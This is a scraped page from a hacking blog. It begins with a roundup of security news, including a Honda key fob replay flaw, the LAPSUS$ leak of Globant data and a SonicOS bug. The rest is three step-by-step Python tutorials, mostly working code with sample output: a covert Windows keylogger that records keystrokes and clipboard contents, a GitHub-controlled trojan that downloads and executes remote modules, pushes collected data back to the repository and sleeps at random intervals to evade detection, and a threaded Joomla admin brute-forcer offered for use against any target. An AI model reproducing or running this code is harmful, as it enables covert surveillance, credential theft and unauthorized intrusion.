The Dark Tech

The Dark Tech

BlackHammer

Hacking News #2 31 Mar

By Leave a Comment

Honda’s Keyless Access Bug Could Let Thieves Remotely Unlock and Start Vehicles

A duo of researchers has released a proof-of-concept (PoC) demonstrating the ability for a malicious actor to remote lock, unlock, and even start Honda and Acura vehicles by means of what’s called a replay attack.

The attack is made possible, thanks to a vulnerability in its remote keyless system (CVE-2022-27254) that affects Honda Civic LX, EX, EX-L, Touring, Si, and Type R models manufactured between 2016 and 2020. Credited with discovering the issue are Ayyappan Rajesh, a student at UMass Dartmouth, and Blake Berry (HackingIntoYourHeart).

“A hacker can gain complete and unlimited access to locking, unlocking, controlling the windows, opening the trunk, and starting the engine of the target vehicle where the only way to prevent the attack is to either never use your fob or, after being compromised (which would be difficult to realize), resetting your fob at a dealership,” Berry explained in a GitHub post.

The underlying issue is that the remote key fob on the affected Honda vehicles transmits the same, unencrypted radio frequency signal (433.215MHz) to the car, effectively enabling an adversary to intercept and replay the request at a later time to wirelessly start the engine as well as lock and unlock the doors.

This is not the first time a flaw of this kind has been uncovered in Honda vehicles. A related issue discovered in 2017 Honda HR-V models (CVE-2019-20626, CVSS score: 6.5) is said to have been “seemingly ignored” by the Japanese company, Berry alleged.

“Manufacturers must implement Rolling Codes, otherwise known as hopping code,” Rajesh said. “It is a security technology commonly used to provide a fresh code for each authentication of a remote keyless entry (RKE) or passive keyless entry (PKE) system.”

In response to the findings, Honda said “this is generally not a new assertion with several past unconfirmed iterations of similar key fob devices, and in my opinion doesn’t merit any further reporting,” and that it “has no plan to update older vehicles at this time.”

“Legacy technology utilized by multiple automakers to remotely lock and unlock doors may be vulnerable to determined and very technologically sophisticated thieves,” Honda spokesperson Chris Martin told The Hacker News.

“At this time, it appears that the devices only appear to work within close proximity or while physically attached to the target vehicle, requiring local reception of radio signals from the vehicle owner’s key fob when the vehicle is opened and started nearby.”

“Further, access to a vehicle without other means to drive the vehicle, while hi-tech in nature, does not provide thieves an advantage much greater than more traditional and certainly easier ways to gain entry to a vehicle. And there is no indication that the type of device in question is widely used.”

“Also, for Acura and Honda vehicles, while certain models feature a remote start feature, a vehicle started remotely cannot be driven until a valid key fob with a separate immobilizer chip is present in the vehicle, reducing the likelihood of a vehicle theft. There is no indication that the reported vulnerability to door locks has resulted in an ability to actually drive an Acura or Honda vehicle.”

IT Firm Globant Confirms Breach after LAPSUS$ Leaks 70GB of Data

The LAPSUS$ data extortion gang announced their return on Telegram after a week-long “vacation,” leaking what they claim is data from software services company Globant.

“We are officially back from a vacation,” the group wrote on their Telegram channel – which has nearly around 54,000 members as of writing – posting images of extracted data and credentials belonging to the company’s DevOps infrastructure.

The screenshots depict a folder listing for what appears to be different companies from across the world, including Arcserve, Banco Galicia, BNP Paribas Cardif, Citibanamex, DHL, Facebook, Stifel, among others.

Also shared is a torrent file purported to contain around 70GB of Globant’s source code as well as administrator passwords associated with the firm’s Atlassian suite, including Confluence and Jira, and the Crucible code review tool.

As malware research group VX-Underground points out, the passwords are not only easily guessable, but they have also been reused multiple times, prompting LAPSUS$ to call out the “poor security practices in use” at the company.

When reached for a response, Globant confirmed the incident stating it “recently detected that a limited section of our company’s code repository has been subject to unauthorized access,” adding it’s currently “conducting an exhaustive investigation” and that it’s “taking strict measures to prevent further incidents.”

CISA Warns of Ongoing Cyber Attacks Targeting Internet-Connected UPS Devices

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) and the Department of Energy (DoE) are jointly warning of attacks against internet-connected uninterruptible power supply (UPS) devices by means of default usernames and passwords.

“Organizations can mitigate attacks against their UPS devices, which provide emergency power in a variety of applications when normal power sources are lost, by removing management interfaces from the internet,” the agencies said in a bulletin published Tuesday.

UPS devices, in addition to offering power backups in mission-critical environments, are also equipped with an internet of things (IoT) capability, enabling the administrators to carry out power monitoring and routine maintenance. But as is often the case, such features can also open the door to malicious attacks.

To mitigate against such threats, CISA and DoE are advising organizations to enumerate and disconnect all UPS systems from the internet and gate them behind a virtual private network (VPN) as well as enforce multi-factor authentication.

The agencies have also urged concerned entities to update the UPS usernames and passwords to ensure that they don’t match the factory default settings. “This ensures that going forward, threat actors cannot use their knowledge of default passwords to access your UPS,” the advisory read.

The warnings come three weeks after Armis researchers disclosed multiple high-impact security flaws in APC Smart-UPS devices that could be abused by remote adversaries as a physical weapon to access and control them in an unauthorized manner.

Critical SonicOS Vulnerability Affects SonicWall Firewall Appliances

SonicWall has released security updates to contain a critical flaw across multiple firewall appliances that could be weaponized by an unauthenticated, remote attacker to execute arbitrary code and cause a denial-of-service (DoS) condition.

Tracked as CVE-2022-22274 (CVSS score: 9.4), the issue has been described as a stack-based buffer overflow in the web management interface of SonicOS that could be triggered by sending a specially crafted HTTP request, leading to remote code execution or DoS.

The flaw impacts 31 different SonicWall Firewall devices running versions 7.0.1-5050 and earlier, 7.0.1-R579 and earlier, and 6.5.4.4-44v-21-1452 and earlier. ZiTong Wang of Hatlab has been credited with reporting the issue.

The network security company said it’s not aware of any instance of active exploitation in the wild leveraging the weakness, and that no proof-of-concept (PoC) or malicious use of the vulnerability has been publicly reported to date.

That said, users of the affected appliances are recommended to apply the patches as soon as possible to mitigate potential threats. Until the fixes can be put in place, SonicWall is also recommending customers to limit SonicOS management access to trusted source IP addresses.

The advisory arrives as cybersecurity company Sophos cautioned that a critical authentication bypass vulnerability in its firewall product (CVE-2022-1040, CVSS score: 9.8) has been exploited in active attacks against select organizations in South Asia.

New Hacking Campaign by Transparent Tribe Hackers Targeting Indian Officials

A threat actor of likely Pakistani origin has been attributed to yet another campaign designed to backdoor targets of interest with a Windows-based remote access trojan named CrimsonRAT since at least June 2021.

“Transparent Tribe has been a highly active APT group in the Indian subcontinent,” Cisco Talos researchers said in an analysis shared with The Hacker News. “Their primary targets have been government and military personnel in Afghanistan and India. This campaign furthers this targeting and their central goal of establishing long term access for espionage.”

Last month, the advanced persistent threat expanded its malware toolset to compromise Android devices with a backdoor named CapraRAT that exhibits a high “degree of crossover” with CrimsonRAT.

The latest set of attacks detailed by Cisco Talos involves making use of fake domains that mimic legitimate government and related organizations to deliver the malicious payloads, including a Python-based stager used to install .NET-based reconnaissance tools and RATs as well as a barebones .NET-based implant to run arbitrary code on the infected system.

Besides continually evolving their deployment tactics and malicious functionalities, Transparent Tribe is known to rely on a variety of delivery methods, such as executables impersonating installers of legitimate applications, archive files, and weaponized documents to target Indian entities and individuals.

One of the downloader executables masquerades as Kavach (meaning “armor” in Hindi), an Indian government-mandated two-factor authentication solution required for accessing email services, in order to deliver the malicious artifacts.

Also put to use are COVID-19-themed decoy images and virtual hard disk files (aka VHDX files) that are used as a launchpad for retrieving additional payloads from a remote command-and-control server, such as the CrimsonRAT, which is used to gather sensitive data and establish long-term access into victim networks.

Privid: A Privacy-Preserving Surveillance Video Analytics System

A group of academics has designed a new system known as “Privid” that enables video analytics in a privacy-preserving manner to combat concerns with invasive tracking.

“We’re at a stage right now where cameras are practically ubiquitous. If there’s a camera on every street corner, every place you go, and if someone could actually process all of those videos in aggregate, you can imagine that entity building a very precise timeline of when and where a person has gone,” Frank Cangialosi, the lead author of the study and a researcher at the MIT’s Computer Science and Artificial Intelligence Laboratory (CSAIL), said in a statement.

“People are already worried about location privacy with GPS — video data in aggregate could capture not only your location history, but also moods, behaviors, and more at each location,” Cangialosi added.

Privid is built on the foundation of differential privacy, a statistical technique that makes it possible to collect and share aggregate information about users, while safeguarding individual privacy.

This is achieved by adding random noise to the results to prevent re-identification attacks. The amount of noise added is a trade-off – adding more noise makes the data more anonymous, but it also makes the data less useful – and it’s determined by the privacy budget, which ensures that the results are still accurate and at the same time configured low enough to prevent data leakage.

The querying framework involves an approach called “duration-based privacy” wherein the target video is chopped temporally into chunks of same duration that’s then fed separately into the analyst’s video processing module to produce the “noisy” aggregate result.

Credit: The Hackers News

How To Make A Keylogger For Windows In Python

By 2 Comments

What Is Keylogger

A keylogger (short for keystroke logger) is software that tracks or logs the keys struck on your keyboard, typically in a covert manner so that you don’t know that your actions are being monitored. This is usually done with malicious intent to collect your account information, credit card numbers, user names, passwords, and other private data.

Keylogging for Fun and Keystrokes

Keylogging is one of the oldest tricks in the book and is still employed with various levels of stealth today. Attackers still use it because it’s extremely effective at capturing sensitive information such as credentials or conversations.

An excellent Python library named PyHook1 enables us to easily trap all keyboard events. It takes advantage of the native Windows function SetWindowsHookEx, which allows you to install a user-defined function to be called for certain Windows events. By registering a hook for keyboard events, we are able to trap all of the keypresses that a target issues. On top of this, we want to know exactly what process they are executing these keystrokes against, so that we can determine when usernames, passwords, or other tidbits of useful information are entered. PyHook takes care of all of the low-level programming for us, which leaves the core logic of the keystroke logger up to us. Let’s crack open keylogger.py and drop in some of the plumbing:

from ctypes import *
import pythoncom
import pyHook 
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
 # get a handle to the foreground window
 hwnd = user32.GetForegroundWindow()

All right! So we just put in some helper variables and a function that will capture the active window and its associated process ID. We first call GetForeGroundWindow, which returns a handle to the active window on the target’s desktop.

# find the process ID
 pid = c_ulong(0)
 user32.GetWindowThreadProcessId(hwnd, byref(pid)) 
 # store the current process ID
 process_id = "%d" % pid.value

Next we pass that handle to the GetWindowThreadProcessId function to retrieve the window’s process ID.

# grab the executable
 executable = create_string_buffer("\x00" * 512)
 h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
 psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

We then open the process and, using the resulting process handle, we find the actual executable name of the process.

# now read its title
 window_title = create_string_buffer("\x00" * 512)
 length = user32.GetWindowTextA(hwnd, byref(window_title),512)

The final step is to grab the full text of the window’s title bar using the GetWindowText function.

# print out the header if we're in the right process
 print
 print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value) 
 print
 # close handles
 kernel32.CloseHandle(hwnd)
 kernel32.CloseHandle(h_process)

At the end of our helper function we output all of the information in a nice header so that you can clearly see which keystrokes went with which process and window.

Now let’s put the meat of our keystroke logger in place to finish it off.

def KeyStroke(event):
 global current_window 
 # check to see if target changed windows
 if event.WindowName != current_window: 
 current_window = event.WindowName 
 get_current_process()

The first thing we do is check if the user has changed windows and if so, we acquire the new window’s name and process information.

# if they pressed a standard key
 if event.Ascii > 32 and event.Ascii < 127: 
 print chr(event.Ascii),
 else:

We then look at the keystroke that was issued and if it falls within the ASCII-printable range, we simply print it out. If it’s a modifier (such as the shift, ctrl, or alt keys) or any other nonstandard key, we grab the key name from the event object.

# if [Ctrl-V], get the value on the clipboard
 if event.Key == "V": 
 win32clipboard.OpenClipboard()
 pasted_value = win32clipboard.GetClipboardData()
 win32clipboard.CloseClipboard()
 print "[PASTE] - %s" % (pasted_value),
 else:
 print "[%s]" % event.Key,
 # pass execution to next hook registered 
 return True

We also check if the user is performing a paste operation, and if so we dump the contents of the clipboard. The callback function wraps up by returning True to allow the next hook in the chain—if there is one—to process the event.

# create and register a hook manager 
 kl = pyHook.HookManager() 
 kl.KeyDown = KeyStroke

We define our PyHook HookManager and then bind the KeyDown event to our user-defined callback function KeyStroke.

# register the hook and execute forever
 kl.HookKeyboard() 
pythoncom.PumpMessages()

We then instruct PyHook to hook all keypresses and continue execution. Whenever the target presses a key on the keyboard, our KeyStroke function is called with an event object as its only parameter.

Let’s Take It For A Spin

It’s easy to test our keylogger. Simply run it, and then start using Windows normally. Try using your web browser, calculator, or any other application, and view the results in your terminal. The output below is going to look a little off, which is only due to the formatting in the article.

C:\>python keylogger-hook.py
[ PID: 3836 - cmd.exe - C:\WINDOWS\system32\cmd.exe - 
c:\Python27\python.exe key logger-hook.py ]
t e s t
[ PID: 120 - IEXPLORE.EXE - Bing - Microsoft Internet Explorer ]
w w w . s u d o p a r a t e c h . c o m [Return]
[ PID: 3836 - cmd.exe - C:\WINDOWS\system32\cmd.exe - 
c:\Python27\python.exe keylogger-hook.py ]
[Lwin] r
[ PID: 1944 - Explorer.EXE - Run ]
c a l c [Return]
[ PID: 2848 - calc.exe - Calculator ]
1 [Lshift] + 1 =

You can see that I typed the word test into the main window where the keylogger script ran. I then fired up Internet Explorer, browsed to www.thedarktech.com, and ran some other applications. We can now safely say that our keylogger can be added to our bag of trojaning tricks!

Let’s move on to taking screenshots in next article.

Also Check How To Hack Python’s Import Functionality.

How To Hack Python’s Import Functionality

By 1 Comment

If you’ve made it this far in the article, you know that we use Python’s import functionality to pull in external libraries so that we can use the code contained within. We want to be able to do the same thing for our trojan, but beyond that, we also want to make sure that if we pull in a dependency (such as Scapy or netaddr), our trojan makes that module available to all subsequent modules that we pull in. Python allows us to insert our own functionality into how it imports modules, such that if a module cannot be found locally, our import class will be called, which will allow us to remotely retrieve the library from our repo. This is achieved by adding a custom class to the sys.meta_path list.

Let’s create a custom loading class now by adding the following code:

class GitImporter(object):
 def __init__(self):
 self.current_module_code = ""
 def find_module(self,fullname,path=None):
 if configured:
 print "[*] Attempting to retrieve %s" % fullname
 new_library = get_file_contents("modules/%s" % fullname) 
 
 if new_library is not None:
 self.current_module_code = base64.b64decode(new_library) 
 return self
 
 return None

Every time the interpreter attempts to load a module that isn’t available, our GitImporter class is used. The find_module function is called first in an attempt to locate the module. We pass this call to our remote file loader and if we can locate the file in our repo, we base64-decode the code and store it in our class. 

def load_module(self,name):
 
 module = imp.new_module(name) 
 exec self.current_module_code in module.__dict__ 
 sys.modules[name] = module 
 return module

By returning self, we indicate to the Python inter- preter that we found the module and it can then call our load_module func- tion to actually load it. We use the native imp module to first create a new blank module object and then we shovel the code we retrieved from GitHub into it. The last step is to insert our newly created module into the sys.modules list so that it’s picked up by any future import calls.

Now let’s put the finishing touches on the trojan and take it for a spin.

def module_runner(module):
 task_queue.put(1) 
 result = sys.modules[module].run() 
 task_queue.get()

While we’re in the module_runner function, we simply call the module’s run function to kick off its code.

# store the result in our repo
 store_module_result(result) 
 
 return

When it’s done running, we should have the result in a string that we then push to our repo.

# main trojan loop 
 sys.meta_path = [GitImporter()] 
while True:
 
 if task_queue.empty():

We first make sure to add our custom module importer before we begin the main loop of our application.

config = get_trojan_config()

The first step is to grab the configuration file from the repo and then we kick off the module in its own thread.

for task in config:
 t = threading.Thread(target=module_runner,args=(task['module'],)) 
 t.start()
 time.sleep(random.randint(1,10))
 
 time.sleep(random.randint(1000,10000))

The end of our trojan will then sleep for a random amount of time in an attempt to foil any network pattern analysis. You could of course create a bunch of traffic to Google.com or any number of other things in an attempt to disguise what your trojan is up to.

Now let’s take it for a spin!

If you have sensitive information in files or environment variables, remember that without a private repository, that information is going to go up to GitHub for the whole world to see. Don’t say I didn’t warn you—and of course you can use some encryption techniques.

Let’s Check Our Code

All right! Let’s take this thing for a spin by running it from the command line.

$ python git_trojan.py
[*] Found file abc.json
[*] Attempting to retrieve dirlister
[*] Found file modules/dirlister
[*] Attempting to retrieve environment
[*] Found file modules/environment
[*] In dirlister module
[*] In environment module.

Perfect. It connected to my repository, retrieved the configuration file, pulled in the two modules we set in the configuration file, and ran them.

Now if you drop back in to your command line from your trojan directory, enter:

$ git pull origin master
From 
 * branch master -> FETCH_HEAD
Updating f4d9c1d..5225fdf
Fast-forward
data/abc/29008.data | 1 +
data/abc/44763.data | 1 + 
 2 files changed, 2 insertions(+), 0 deletions(-)
 create mode 100644 data/abc/29008.data
 create mode 100644 data/abc/44763.data

Awesome! Our trojan checked in the results of our two running modules.

There are a number of improvements and enhancements that you can make to this core command-and-control technique. Encryption of all your modules, configuration, and exfiltrated data would be a good start. Automating the backend management of pull-down data, updating configuration files, and rolling out new trojans would also be required if you were going to infect on a massive scale. As you add more and more functionality, you also need to extend how Python loads dynamic and compiled libraries.

For now, let’s work on creating some standalone trojan tasks, and I’ll leave it to you to integrate them into your new GitHub trojan.

Also Check How To Build A GitHub Aware Trojan In Python.

How To Build A GitHub Aware Trojan In Python

By 1 Comment

What Is Trojan

In computing, a Trojan horse, or trojan, is any malware which misleads users of its true intent. The term is derived from the Ancient Greek story of the deceptive Trojan Horse that led to the fall of the city of Troy.

Trojans are generally spread by some form of social engineering, for example where a user is duped into executing an email attachment disguised to appear not suspicious, (e.g., a routine form to be filled in), or by clicking on some fake advertisement on social media or anywhere else. Although their payload can be anything, many modern forms act as a backdoor, contacting a controller which can then have unauthorized access to the affected computer. Trojans may allow an attacker to access users’ personal information such as banking information, passwords, or personal identity. It can also delete a user’s files or infect other devices connected to the network. Ransomware attacks are often carried out using a trojan.

Building A GitHub Aware Trojan

Now we’re going to create the main trojan that will suck down configuration options and code to run from GitHub. The first step is to build the necessary code to handle connecting, authenticating, and communicating to the GitHub API.

Let’s start by opening a new file called git_trojan.py and entering the following code:

import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os
from github3 import login
trojan_id = "abc" 
trojan_config = "%s.json" % trojan_id
data_path = "data/%s/" % trojan_id
trojan_modules= []
configured = False
task_queue = Queue.Queue()

This is just some simple setup code with the necessary imports, which should keep our overall trojan size relatively small when compiled. I say relatively because most compiled Python binaries using py2exe2 are around 7MB. The only thing to note is the trojan_id variable that uniquely iden- tifies this trojan. If you were to explode this technique out to a full botnet, you’d want the capability to generate trojans, set their ID, automatically create a configuration file that’s pushed to GitHub, and then compile the trojan into an executable. We won’t build a botnet today, though; I’ll let your imagination do the work.

Now let’s put the relevant GitHub code in place.

def connect_to_github(): 
 gh = login(username="yourusername",password="yourpassword")
 repo = gh.repository("yourusername","yourrepository")
 branch = repo.branch("master") 
 
 return gh,repo,branch
def get_file_contents(filepath): 
 
 gh,repo,branch = connect_to_github() 
 tree = branch.commit.commit.tree.recurse()
 
 for filename in tree.tree:
 
 if filepath in filename.path:
 print "[*] Found file %s" % filepath 
 blob = repo.blob(filename._json_data['sha'])
 return blob.content
 return None

def get_trojan_config(): 
 global configured 
 config_json = get_file_contents(trojan_config)
 config = json.loads(base64.b64decode(config_json))
 configured = True
 for task in config:
 
 if task['module'] not in sys.modules:
 
 exec("import %s" % task['module'])
 
 return config

def store_module_result(data): 
 
 gh,repo,branch = connect_to_github()
 remote_path = "data/%s/%d.data" % (trojan_id,random.randint(1000,100000))
 repo.create_file(remote_path,"Commit message",base64.b64encode(data))
 return

These four functions represent the core interaction between the trojan and GitHub. The connect_to_github function simply authenticates the user to the repository, and retrieves the current repo and branch objects for use by other functions. Keep in mind that in a real-world scenario, you want to obfuscate this authentication procedure as best as you can. You might also want to think about what each trojan can access in your repository based on access controls so that if your trojan is caught, someone can’t come along and delete all of your retrieved data. The get_file_contents function is responsible for grabbing files from the remote repo and then reading the contents in locally. This is used both for reading configuration options as well as reading module source code. The get_trojan_config function is responsible for retrieving the remote configuration document from the repo so that your trojan knows which modules to run. And the final func- tion store_module_result is used to push any data that you’ve collected on the target machine. Now let’s create an import hack to import remote files from our GitHub repo in next article.

Also Check How To Brute-Force HTML Form Authentication In Python.

How To Brute-Force HTML Form Authentication In Python

By 1 Comment

What Is HTML Form Authentication

HTML form-based authentication, typically presently colloquially referred to as simply form-based authentication, is a technique whereby a website uses a web form to collect, and subsequently authenticate, credential information from a user agent, typically a web browser. (Note that the phrase “form-based authentication” is ambiguous. See form-based authentication for further explanation.)

Brute-Forcing HTML Form Authentication

There may come a time in your web hacking career where you need to either gain access to a target, or if you’re consulting, you might need to assess the password strength on an existing web system. It has become more and more common for web systems to have brute-force protection, whether a captcha, a simple math equation, or a login token that has to be submitted with the request. There are a number of brute forcers that can do the brute-forcing of a POST request to the login script, but in a lot of cases they are not flexible enough to deal with dynamic content or handle simple “are you human” checks. We’ll create a simple brute forcer that will be useful against Joomla, a popular content management system. Modern Joomla systems include some basic anti-brute-force techniques, but still lack account lockouts or strong captchas by default. In order to brute-force Joomla, we have two requirements that need to be met: retrieve the login token from the login form before submitting the password attempt and ensure that we accept cookies in our urllib2 session.

In order to parse out the login form values, we’ll use the native Python class HTMLParser. This will also be a good whirlwind tour of some additional features of urllib2 that you can employ when building tooling for your own targets. Let’s get started by having a look at the Joomla administrator login form. This can be found by browsing to http://<yourtarget>.com/administrator/. For the sake of brevity, I’ve only included the relevant form elements.

<form action="/administrator/index.php" method="post" id="form-login" 
class="form-inline">
<input name="username" tabindex="1" id="mod-login-username" type="text" 
class="input-medium" placeholder="User Name" size="15"/>
<input name="passwd" tabindex="2" id="mod-login-password" type="password" 
class="input-medium" placeholder="Password" size="15"/>
<select id="lang" name="lang" class="inputbox advancedSelect">
 <option value="" selected="selected">Language - Default</option>
 <option value="en-GB">English (United Kingdom)</option>
</select>
<input type="hidden" name="option" value="com_login"/>
<input type="hidden" name="task" value="login"/>
<input type="hidden" name="return" value="aW5kZXgucGhw"/>
<input type="hidden" name="1796bae450f8430ba0d2de1656f3e0ec" value="1" /> 
</form>

Reading through this form, we are privy to some valuable informa- tion that we’ll need to incorporate into our brute forcer. The first is that the form gets submitted to the /administrator/index.php path as an HTTP POST. The next are all of the fields required in order for the form sub- mission to be successful. In particular, if you look at the last hidden field, you’ll see that its name attribute is set to a long, randomized string. This is the essential piece of Joomla’s anti-brute-forcing technique. That ran- domized string is checked against your current user session, stored in a cookie, and even if you are passing the correct credentials into the login processing script, if the randomized token is not present, the authentica- tion will fail. This means we have to use the following request flow in our brute forcer in order to be successful against Joomla:

  1. Retrieve the login page, and accept all cookies that are returned.
  2. Parse out all of the form elements from the HTML.
  3. Set the username and/or password to a guess from our dictionary.
  4. Send an HTTP POST to the login processing script including all
    HTML form fields and our stored cookies.
  5. Test to see if we have successfully logged in to the web application.

You can see that we are going to be utilizing some new and valuable techniques in this script. I will also mention that you should never “train” your tooling on a live target; always set up an installation of your target web application with known credentials and verify that you get the desired results.

Let’s open a new Python file named joomla_killer.py and enter the following code:

import urllib2 
import urllib
import cookielib
import threading
import sys
import Queue
from HTMLParser import HTMLParser
# general settings
user_thread = 10
username = "admin" 
wordlist_file = "/tmp/cain.txt"
resume = None
# target specific settings
 target_url = "http://192.168.112.131/administrator/index.php" 
target_post = "http://192.168.112.131/administrator/index.php"

These general settings deserve a bit of explanation. The target_url variable is where our script will first download and parse the HTML. The target_post variable is where we will submit our brute-forcing attempt.

username_field= "username" 
password_field= "passwd" 
success_check = "Administration - Control Panel"

Based on our brief analysis of the HTML in the Joomla login, we can set the username_field and password_field variables to the appropriate name of the HTML elements. Our success_check variable is a string that we’ll check for after each brute-forcing attempt in order to determine whether we are successful or not.

Let’s now create the plumbing for our brute forcer; some of the following code will be familiar so I’ll only highlight the newest techniques.

class Bruter(object):
 def __init__(self, username, words):
 
 self.username = username
 self.password_q = words
 self.found = False
 
 print "Finished setting up for: %s" % username
 
 def run_bruteforce(self):
 
 for i in range(user_thread):
 t = threading.Thread(target=self.web_bruter)
 t.start()
 
 def web_bruter(self):
 
 while not self.password_q.empty() and not self.found:
 brute = self.password_q.get().rstrip()
 jar = cookielib.FileCookieJar("cookies") 
 opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
 
 response = opener.open(target_url)
 
 page = response.read()
 
 print "Trying: %s : %s (%d left)" % (self.username,brute,self.password_q.qsize())

This is our primary brute-forcing class, which will handle all of the HTTP requests and manage cookies for us. After we grab our password attempt, we set up our cookie jar using the FileCookieJar class that will store the cookies in the cookies file. Next we initialize our urllib2 opener, passing in the initialized cookie jar, which tells urllib2 to pass off any cookies to it. We then make the initial request to retrieve the login form.

# parse out the hidden fields
 parser = BruteParser() 
 parser.feed(page) 
 
 post_tags = parser.tag_results

When we have the raw HTML, we pass it off to our HTML parser and call its feed method, which returns a dictionary of all of the retrieved form elements.

# add our username and password fields
 post_tags[username_field] = self.username 
 post_tags[password_field] = brute

After we have successfully parsed the HTML, we replace the username and password fields with our brute-forcing attempt.

login_data = urllib.urlencode(post_tags) 
 login_response = opener.open(target_post, login_data)
 
 login_result = login_response.read()

Next we URL encode the POST variables, and then pass them in our subsequent HTTP request. 

if success_check in login_result: 
 self.found = True
 print "[*] Bruteforce successful."
 print "[*] Username: %s" % username
 print "[*] Password: %s" % brute
 print "[*] Waiting for other threads to exit..."

After we retrieve the result of our authentication attempt, we test whether the authentication was successful or not.

Now let’s imple- ment the core of our HTML processing. Add the following class to your joomla_killer.py script:

class BruteParser(HTMLParser):
 def __init__(self):
 HTMLParser.__init__(self)
 self.tag_results = {}

This forms the specific HTML parsing class that we want to use against our target. After you have the basics of using the HTMLParser class, you can adapt it to extract information from any web application that you might be attacking. The first thing we do is create a dictionary in which our results will be stored.

def handle_starttag(self, tag, attrs):
 if tag == "input": 
 tag_name = None
 tag_value = None

When we call the feed function, it passes in the entire HTML document and our handle_starttag function is called whenever a tag is encountered. In particular, we’re looking for HTML input tags and our main processing occurs when we determine that we have found one.

for name,value in attrs:
 if name == "name": 
  tag_name = value 
 if name == "value":
  tag_value = value 
 
 if tag_name is not None:
  self.tag_results[tag_name] = value

We begin iterating over the attributes of the tag, and if we find the name or value attributes, we associate them in the tag_results dictionary. After the HTML has been processed, our brute- forcing class can then replace the username and password fields while leaving the remainder of the fields intact.

To wrap up our Joomla brute forcer, let’s copy-paste the build_wordlist function from our previous section and add the following code:

# paste the build_wordlist function here
words = build_wordlist(wordlist_file)
bruter_obj = Bruter(username,words)
bruter_obj.run_bruteforce()

That’s it! We simply pass in the username and our wordlist to our Bruter class and watch the magic happen.

HTMLParser 101

There are three primary methods you can implement when using the HTMLParser class: handle_starttag, handle_endtag, and handle_data. The handle_starttag function will be called any time an opening HTML tag is encountered, and the opposite is true for the handle_endtag function, which gets called each time a closing HTML tag is encountered. The handle_data function gets called when there is raw text in between tags. The function prototypes for each function are slightly different, as follows:

handle_starttag(self, tag, attributes)
handle_endttag(self, tag)
handle_data(self, data)

A quick example to highlight this:

<title>Python rocks!</title>
handle_starttag => tag variable would be "title"
handle_data => data variable would be "Python rocks!"
handle_endtag => tag variable would be "title"

With this very basic understanding of the HTMLParser class, you can do things like parse forms, find links for spidering, extract all of the pure text for data mining purposes, or find all of the images in a page.

Let’s Check Our Code

If you don’t have Joomla installed into your Kali VM, then you should install it now. My target VM is at 192.168.112.131 and I am using a wordlist provided by Cain and Abel,3 a popular brute-forcing and cracking toolset. I have already preset the username to admin and the password to justin in the Joomla installation so that I can make sure it works. I then added justin to the cain.txt wordlist file about 50 entries or so down the file. When run- ning the script, I get the following output:

$ python2.7 joomla_killer.py 
Finished setting up for: admin
Trying: admin : 0racl38 (306697 left)
Trying: admin : [email protected]#$% (306697 left)
Trying: admin : [email protected]#$%^ (306697 left)
--snip--
Trying: admin : 1p2o3i (306659 left)
Trying: admin : 1qw23e (306657 left)
Trying: admin : 1q2w3e (306656 left)
Trying: admin : 1sanjose (306655 left)
Trying: admin : 2 (306655 left)
Trying: admin : justin (306655 left)
Trying: admin : 2112 (306646 left)
[*] Bruteforce successful.
[*] Username: admin
[*] Password: justin
[*] Waiting for other threads to exit...
Trying: admin : 249 (306646 left)
Trying: admin : 2welcome (306646 left)

You can see that it successfully brute-forces and logs in to the Joomla administrator console. To verify, you of course would manually log in and make sure. After you test this locally and you’re certain it works, you can use this tool against a target Joomla installation of your choice.

Also Check How To Brute-Force Directories and File Locations using Python.